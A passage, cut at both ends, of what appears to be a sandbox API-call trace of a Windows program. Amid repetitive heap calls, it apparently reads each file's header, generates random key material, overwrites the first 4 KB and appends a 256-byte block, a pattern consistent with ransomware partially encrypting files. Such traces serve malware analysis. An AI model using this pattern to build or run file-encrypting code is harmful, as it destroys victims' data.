RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.876] GetProcessHeap () returned 0x540000 [0089.876] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.876] GetProcessHeap () returned 0x540000 [0089.876] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.876] GetProcessHeap () returned 0x540000 [0089.876] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.876] GetProcessHeap () returned 0x540000 [0089.876] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.876] GetProcessHeap () returned 0x540000 [0089.876] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.876] GetProcessHeap () returned 0x540000 [0089.876] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0089.876] GetProcessHeap () returned 0x540000 [0089.876] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.876] GetProcessHeap () returned 0x540000 [0089.876] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0089.876] GetProcessHeap () returned 0x540000 [0089.876] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0089.876] GetProcessHeap () returned 0x540000 [0089.876] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0089.876] GetProcessHeap () returned 0x540000 [0089.876] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0089.876] GetProcessHeap () returned 0x540000 [0089.876] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0089.876] GetProcessHeap () returned 0x540000 [0089.876] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0089.876] GetProcessHeap () returned 0x540000 [0089.876] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.876] GetProcessHeap () returned 0x540000 [0089.876] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0089.876] GetProcessHeap () returned 0x540000 [0089.876] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.876] GetProcessHeap () returned 0x540000 [0089.876] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.876] GetProcessHeap () returned 0x540000 [0089.876] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.877] GetProcessHeap () returned 0x540000 [0089.877] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.877] GetProcessHeap () returned 0x540000 [0089.877] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.877] GetProcessHeap () returned 0x540000 [0089.877] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.877] GetProcessHeap () returned 0x540000 [0089.877] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.877] GetProcessHeap () returned 0x540000 [0089.877] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.877] GetProcessHeap () returned 0x540000 [0089.877] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.877] GetProcessHeap () returned 0x540000 [0089.877] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.877] GetProcessHeap () returned 0x540000 [0089.877] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.877] GetProcessHeap () returned 0x540000 [0089.877] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.877] GetProcessHeap () returned 0x540000 [0089.877] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.877] GetProcessHeap () returned 0x540000 [0089.877] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.877] GetProcessHeap () returned 0x540000 [0089.877] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.877] GetProcessHeap () returned 0x540000 [0089.877] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.877] GetProcessHeap () returned 0x540000 [0089.877] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.877] GetProcessHeap () returned 0x540000 [0089.878] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.878] GetProcessHeap () returned 0x540000 [0089.878] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.878] GetProcessHeap () returned 0x540000 [0089.878] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.878] GetProcessHeap () returned 0x540000 [0089.878] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.878] GetProcessHeap () returned 0x540000 [0089.878] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.878] GetProcessHeap () returned 0x540000 [0089.878] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.878] GetProcessHeap () returned 0x540000 [0089.878] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.878] GetProcessHeap () returned 0x540000 [0089.878] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0089.878] GetProcessHeap () returned 0x540000 [0089.878] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.878] GetProcessHeap () returned 0x540000 [0089.878] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0089.878] GetProcessHeap () returned 0x540000 [0089.878] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0089.878] GetProcessHeap () returned 0x540000 [0089.878] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.878] GetProcessHeap () returned 0x540000 [0089.878] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0089.878] SetFilePointerEx (in: hFile=0xa14, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.878] WriteFile (in: hFile=0xa14, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0089.879] WriteFile (in: hFile=0xa14, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0089.879] GetProcessHeap () returned 0x540000 [0089.879] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0089.879] GetProcessHeap () returned 0x540000 [0089.879] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0089.879] GetProcessHeap () returned 0x540000 [0089.879] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0089.879] CloseHandle (hObject=0xa14) returned 1 [0089.881] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 167 [0089.881] SetFilePointerEx (in: hFile=0xa18, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.881] ReadFile (in: hFile=0xa18, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0089.881] SetFilePointerEx (in: hFile=0xa18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.881] GetProcessHeap () returned 0x540000 [0089.881] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0089.881] GetProcessHeap () returned 0x540000 [0089.881] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0089.881] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0089.881] GetProcessHeap () returned 0x540000 [0089.882] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0089.882] ReadFile (in: hFile=0xa18, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0089.933] SetFilePointerEx (in: hFile=0xa18, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.933] WriteFile (in: hFile=0xa18, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0089.934] GetProcessHeap () returned 0x540000 [0089.934] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0089.934] GetProcessHeap () returned 0x540000 [0089.934] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0089.934] GetProcessHeap () returned 0x540000 [0089.934] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0089.934] GetProcessHeap () returned 0x540000 [0089.934] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0089.934] GetProcessHeap () returned 0x540000 [0089.934] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0089.934] GetProcessHeap () returned 0x540000 [0089.934] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0089.934] GetProcessHeap () returned 0x540000 [0089.934] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.934] GetProcessHeap () returned 0x540000 [0089.934] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.934] GetProcessHeap () returned 0x540000 [0089.934] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.934] GetProcessHeap () returned 0x540000 [0089.934] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.934] GetProcessHeap () returned 0x540000 [0089.934] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.934] GetProcessHeap () returned 0x540000 [0089.934] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.934] GetProcessHeap () returned 0x540000 [0089.934] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.934] GetProcessHeap () returned 0x540000 [0089.934] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.934] GetProcessHeap () returned 0x540000 [0089.934] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.934] GetProcessHeap () returned 0x540000 [0089.934] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.934] GetProcessHeap () returned 0x540000 [0089.934] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.935] GetProcessHeap () returned 0x540000 [0089.935] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.935] GetProcessHeap () returned 0x540000 [0089.935] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.935] GetProcessHeap () returned 0x540000 [0089.935] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.935] GetProcessHeap () returned 0x540000 [0089.935] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.935] GetProcessHeap () returned 0x540000 [0089.935] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.935] GetProcessHeap () returned 0x540000 [0089.935] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.935] GetProcessHeap () returned 0x540000 [0089.935] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.935] GetProcessHeap () returned 0x540000 [0089.935] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.935] GetProcessHeap () returned 0x540000 [0089.935] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.935] GetProcessHeap () returned 0x540000 [0089.935] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.935] GetProcessHeap () returned 0x540000 [0089.935] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.935] GetProcessHeap () returned 0x540000 [0089.935] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.935] GetProcessHeap () returned 0x540000 [0089.935] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.935] GetProcessHeap () returned 0x540000 [0089.935] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.935] GetProcessHeap () returned 0x540000 [0089.935] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.935] GetProcessHeap () returned 0x540000 [0089.935] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.935] GetProcessHeap () returned 0x540000 [0089.935] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.935] GetProcessHeap () returned 0x540000 [0089.935] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.935] GetProcessHeap () returned 0x540000 [0089.935] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.935] GetProcessHeap () returned 0x540000 [0089.935] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.935] GetProcessHeap () returned 0x540000 [0089.936] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.936] GetProcessHeap () returned 0x540000 [0089.936] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0089.936] GetProcessHeap () returned 0x540000 [0089.936] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.936] GetProcessHeap () returned 0x540000 [0089.936] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0089.936] GetProcessHeap () returned 0x540000 [0089.936] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0089.936] GetProcessHeap () returned 0x540000 [0089.936] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0089.936] GetProcessHeap () returned 0x540000 [0089.936] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0089.936] GetProcessHeap () returned 0x540000 [0089.936] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0089.936] GetProcessHeap () returned 0x540000 [0089.936] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0089.936] GetProcessHeap () returned 0x540000 [0089.936] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.936] GetProcessHeap () returned 0x540000 [0089.936] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0089.936] GetProcessHeap () returned 0x540000 [0089.936] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.936] GetProcessHeap () returned 0x540000 [0089.936] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.936] GetProcessHeap () returned 0x540000 [0089.936] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.936] GetProcessHeap () returned 0x540000 [0089.936] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.936] GetProcessHeap () returned 0x540000 [0089.936] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.936] GetProcessHeap () returned 0x540000 [0089.936] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.936] GetProcessHeap () returned 0x540000 [0089.937] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.937] GetProcessHeap () returned 0x540000 [0089.937] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.937] GetProcessHeap () returned 0x540000 [0089.937] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.937] GetProcessHeap () returned 0x540000 [0089.937] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.937] GetProcessHeap () returned 0x540000 [0089.937] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.937] GetProcessHeap () returned 0x540000 [0089.937] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.937] GetProcessHeap () returned 0x540000 [0089.937] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.937] GetProcessHeap () returned 0x540000 [0089.937] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.937] GetProcessHeap () returned 0x540000 [0089.937] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.937] GetProcessHeap () returned 0x540000 [0089.937] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.937] GetProcessHeap () returned 0x540000 [0089.937] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.937] GetProcessHeap () returned 0x540000 [0089.937] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.937] GetProcessHeap () returned 0x540000 [0089.937] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.937] GetProcessHeap () returned 0x540000 [0089.937] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.937] GetProcessHeap () returned 0x540000 [0089.937] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.938] GetProcessHeap () returned 0x540000 [0089.938] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.938] GetProcessHeap () returned 0x540000 [0089.938] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.938] GetProcessHeap () returned 0x540000 [0089.938] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.938] GetProcessHeap () returned 0x540000 [0089.938] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0089.938] GetProcessHeap () returned 0x540000 [0089.938] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.938] GetProcessHeap () returned 0x540000 [0089.938] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0089.938] GetProcessHeap () returned 0x540000 [0089.938] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0089.938] GetProcessHeap () returned 0x540000 [0089.938] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.938] GetProcessHeap () returned 0x540000 [0089.938] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0089.938] SetFilePointerEx (in: hFile=0xa18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.938] WriteFile (in: hFile=0xa18, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0089.938] WriteFile (in: hFile=0xa18, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0089.938] GetProcessHeap () returned 0x540000 [0089.938] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0089.938] GetProcessHeap () returned 0x540000 [0089.939] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0089.939] GetProcessHeap () returned 0x540000 [0089.939] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0089.939] CloseHandle (hObject=0xa18) returned 1 [0089.939] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 168 [0089.939] SetFilePointerEx (in: hFile=0xa1c, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.939] ReadFile (in: hFile=0xa1c, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0089.939] SetFilePointerEx (in: hFile=0xa1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.939] GetProcessHeap () returned 0x540000 [0089.939] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0089.939] GetProcessHeap () returned 0x540000 [0089.939] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0089.939] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0089.939] GetProcessHeap () returned 0x540000 [0089.939] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0089.939] ReadFile (in: hFile=0xa1c, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0090.006] SetFilePointerEx (in: hFile=0xa1c, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.006] WriteFile (in: hFile=0xa1c, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0090.006] GetProcessHeap () returned 0x540000 [0090.006] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0090.006] GetProcessHeap () returned 0x540000 [0090.007] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0090.007] GetProcessHeap () returned 0x540000 [0090.007] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0090.007] GetProcessHeap () returned 0x540000 [0090.007] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0090.007] GetProcessHeap () returned 0x540000 [0090.007] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0090.007] GetProcessHeap () returned 0x540000 [0090.007] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0090.007] GetProcessHeap () returned 0x540000 [0090.007] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0090.007] GetProcessHeap () returned 0x540000 [0090.007] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0090.007] GetProcessHeap () returned 0x540000 [0090.007] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0090.007] GetProcessHeap () returned 0x540000 [0090.007] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0090.007] GetProcessHeap () returned 0x540000 [0090.007] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0090.007] GetProcessHeap () returned 0x540000 [0090.007] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0090.007] GetProcessHeap () returned 0x540000 [0090.007] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0090.007] GetProcessHeap () returned 0x540000 [0090.007] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0090.007] GetProcessHeap () returned 0x540000 [0090.007] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0090.007] GetProcessHeap () returned 0x540000 [0090.007] HeapFree (in: hHeap=0x540000, dwFlags=0x0, 